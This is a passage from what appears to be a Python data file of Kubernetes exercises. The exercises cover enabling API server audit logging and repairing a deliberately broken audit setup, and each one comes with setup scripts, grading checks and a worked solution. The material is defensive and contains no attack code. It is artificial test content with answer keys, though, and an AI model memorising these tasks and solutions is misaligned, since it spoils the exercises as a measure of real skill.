k -n %{ns} delete rolebinding %{sa}-secrets
sudo tail -f /var/log/kubernetes/audit/audit.log | jq -c 'select(.objectRef.name == "payroll") | [.user.username, .responseStatus.code]'    # 403 now
# A token mounted into a Pod carries the Pod's name: the audit event has it under user.extra, so
# the log answers "which Pod" as well as "which ServiceAccount". Every read is one line with the
# time, the identity, the object and the outcome - `uniq -c` over the user names is usually the
# first query.
""",
},
{
 "id": 101, "domain": "RUNTIME", "title": "Audit exec and delete, and nothing else", "difficulty": "hard",
 "params": lambda r: {"ns": ns_pick(r, "prod")},
 "task": """
This cluster has no audit trail. Switch audit logging on, on `{CP}`, for exactly what the security
team wants to see:

1. Policy `/etc/kubernetes/audit/policy.yaml`:
   - `pods/exec` and `pods/attach` requests, in any Namespace: `Metadata` level;
   - **deletions** of anything in Namespace `%{ns}`: `RequestResponse` level;
   - nothing else is logged.
2. The API server writes to `/var/log/kubernetes/audit/audit.log` — on the node, not only inside
   the container — keeping at most 5 old files of at most 10 MB each, for 14 days.
3. The API server must be back and healthy.

Pod `probe` in `%{ns}` is there for your tests.
""",
 "setup": NS + r"""
mkns %{ns}
nx "$CP" 'rm -rf /etc/kubernetes/audit /var/log/kubernetes/audit' </dev/null
$K -n %{ns} run probe --image=busybox:1.36 --command -- sleep 86400 >/dev/null
$K -n %{ns} wait --for=condition=Ready pod/probe --timeout=180s >/dev/null
""",
 "checks": [
  C("the API server runs with the policy, the log path and the three limits", 2, API + r"""
runs kube-apiserver '--audit-policy-file=/etc/kubernetes/audit/policy.yaml' && runs kube-apiserver '--audit-log-path=/var/log/kubernetes/audit/audit.log' \
 && runs kube-apiserver '--audit-log-maxbackup=5' && runs kube-apiserver '--audit-log-maxsize=10' && runs kube-apiserver '--audit-log-maxage=14' && wait_api 60"""),
  C("an exec into a Pod is logged on the node, at Metadata level", 3, API + AUDIT + r"""
api_ok && runs kube-apiserver '--audit-policy-file=' || exit 1
$K -n %{ns} exec probe -- true >/dev/null 2>&1; sleep 3
[ "$(aud ".objectRef.subresource==\"exec\" and .objectRef.name==\"probe\" and .level==\"Metadata\"")" -ge 1 ]"""),
  C("a deletion in %{ns} is logged at RequestResponse level", 3, API + AUDIT + r"""
api_ok && runs kube-apiserver '--audit-policy-file=' || exit 1; m=ksim$RANDOM$RANDOM
$K -n %{ns} create configmap $m --from-literal=a=b >/dev/null; $K -n %{ns} delete configmap $m >/dev/null; sleep 3
[ "$(aud ".objectRef.name==\"$m\" and .verb==\"delete\" and .level==\"RequestResponse\"")" -ge 1 ]"""),
  C("nothing else is: not a read, not a creation, not a deletion in another Namespace", 2, API + AUDIT + r"""
api_ok && runs kube-apiserver '--audit-policy-file=' || exit 1; m=ksim$RANDOM$RANDOM
$K -n %{ns} exec probe -- true >/dev/null 2>&1
$K -n %{ns} create configmap $m --from-literal=a=b >/dev/null; $K -n %{ns} get configmap $m >/dev/null
$K -n default create configmap $m --from-literal=a=b >/dev/null; $K -n default delete configmap $m >/dev/null; sleep 3
e=$(aud ".objectRef.subresource==\"exec\" and .objectRef.name==\"probe\"")
x=$(aud ".objectRef.name==\"$m\" and .verb!=\"delete\""); y=$(aud ".objectRef.name==\"$m\" and .objectRef.namespace==\"default\"")
z=$(aud ".verb==\"get\" and .objectRef.resource==\"configmaps\"")
$K -n %{ns} delete configmap $m >/dev/null 2>&1
[ "${e:-0}" -ge 1 ] && [ "$x" = 0 ] && [ "$y" = 0 ] && [ "$z" = 0 ]"""),
 ],
 "solution": """
sudo -i
mkdir -p /etc/kubernetes/audit /var/log/kubernetes/audit
cat > /etc/kubernetes/audit/policy.yaml <<EOF
apiVersion: audit.k8s.io/v1
kind: Policy
rules:
  - level: Metadata
    resources:
      - group: ""
        resources: ["pods/exec", "pods/attach"]
  - level: RequestResponse
    verbs: [delete, deletecollection]
    namespaces: [%{ns}]
  - level: None
EOF
cp /etc/kubernetes/manifests/kube-apiserver.yaml /root/
vi /etc/kubernetes/manifests/kube-apiserver.yaml
#   command:
#     - --audit-policy-file=/etc/kubernetes/audit/policy.yaml
#     - --audit-log-path=/var/log/kubernetes/audit/audit.log
#     - --audit-log-maxage=14
#     - --audit-log-maxbackup=5
#     - --audit-log-maxsize=10
#   volumeMounts:
#     - {name: audit-policy, mountPath: /etc/kubernetes/audit, readOnly: true}
#     - {name: audit-log, mountPath: /var/log/kubernetes/audit}
#   volumes:
#     - {name: audit-policy, hostPath: {path: /etc/kubernetes/audit, type: DirectoryOrCreate}}
#     - {name: audit-log, hostPath: {path: /var/log/kubernetes/audit, type: DirectoryOrCreate}}
watch crictl ps
kubectl -n %{ns} exec probe -- true; tail -2 /var/log/kubernetes/audit/audit.log | jq -c '[.level, .verb, .objectRef.subresource]'
# Subresources are named "resource/subresource" in a policy. A last rule `level: None` makes
# "nothing else" explicit - a request that matches no rule is not logged either, but nobody
# reading the file later has to know that. Without the second mount the log is written inside the
# container and disappears with it.
""",
},
{
 "id": 102, "domain": "RUNTIME", "title": "The API server is down since auditing was switched on", "difficulty": "hard",
 "task": """
`kubectl` no longer works on `{CP}`: the API server has been down since a colleague "switched on
audit logging" this morning. What they intended: every request logged at `Metadata` level, policy
in `/etc/kubernetes/audit/policy.yaml`, log in `/var/log/kubernetes/audit/audit.log` on the node.

Get the API server running again **with audit logging working as intended** — do not simply
remove the audit flags. There is more than one mistake.

Without the API, the node is all you have: `sudo crictl ps -a`, `sudo crictl logs`, and the
kubelet's journal.
""",
 "setup": API + r"""
nx "$CP" 'mkdir -p /etc/kubernetes/audit && printf "apiVersion: audit.k8s.io/v1\nkind: Policy\nrules:\n  - level: Metdata\n" > /etc/kubernetes/audit/policy.yaml; rm -rf /var/log/kubernetes/audit' </dev/null || exit 1
medit kube-apiserver.yaml '.spec.containers[0].command += ["--audit-policy-file=/etc/kubernetes/audit/policy.yaml", "--audit-log-path=/var/log/kubernetes/audit/audit.log", "--audit-log-maxage=7"]' || exit 1
down=0; for i in $(seq 1 40); do if api_ok; then down=0; else down=$((down+1)); fi; [ $down -ge 3 ] && exit 0; sleep 3; done
echo "the API server is still answering" >&2; exit 1
""",
 "checks": [
  C("the API server answers again, still with its audit flags", 4, API + r"""
{ api_ok || { sleep 10; api_ok; }; } && runs kube-apiserver '--audit-policy-file=/etc/kubernetes/audit/policy.yaml' && runs kube-apiserver '--audit-log-path=/var/log/kubernetes/audit/audit.log'"""),
  C("the policy is valid and logs at Metadata level", 3, API + r"""
api_ok || exit 1
eq "$(nx "$CP" 'yq ".rules[-1].level" /etc/kubernetes/audit/policy.yaml' </dev/null)" Metadata && eq "$(nx "$CP" 'yq .kind /etc/kubernetes/audit/policy.yaml' </dev/null)" Policy"""),
  C("a request made now shows up in the log file on the node", 3, API + r"""
api_ok || exit 1; m=ksim-marker-$RANDOM$RANDOM
$K get ns $m >/dev/null 2>&1; sleep 3
nx "$CP" "grep -c $m /var/log/kubernetes/audit/audit.log" </dev/null 2>/dev/null | grep -qv '^0$'"""),
 ],
 "solution": """
sudo -i
crictl ps -a --name kube-apiserver                       # Exited, again and again
crictl logs $(crictl ps -a --name kube-apiserver -q | head -1) 2>&1 | tail -5
#   first:  ... loading audit policy file: failed to read file path "/etc/kubernetes/audit/policy.yaml": no such file or directory
#           -> the file exists on the node, but nothing mounts it into the container
vi /etc/kubernetes/manifests/kube-apiserver.yaml
#   volumeMounts:
#     - {name: audit-policy, mountPath: /etc/kubernetes/audit, readOnly: true}
#     - {name: audit-log, mountPath: /var/log/kubernetes/audit}
#   volumes:
#     - {name: audit-policy, hostPath: {path: /etc/kubernetes/audit, type: DirectoryOrCreate}}
#     - {name: audit-log, hostPath: {path: /var/log/kubernetes/audit, type: DirectoryOrCreate}}
crictl logs $(crictl ps -a --name kube-apiserver -q | head -1) 2>&1 | tail -5
#   then:   ... unknown audit level "Metdata"            -> a typo in the policy
vi /etc/kubernetes/audit/policy.yaml                     # level: Metadata
watch crictl ps                                          # the kubelet retries by itself, with a growing delay
kubectl get ns; tail -1 /var/log/kubernetes/audit/audit.log | jq -c '[.level, .verb, .requestURI]'
# One error at a time: the API server stops at the first one, so fix, look at the log of the
# newest container, fix the next. The log directory needs its mount too - without it the server
# runs, but the audit log lives inside the container and is lost at every restart.
""",
},
]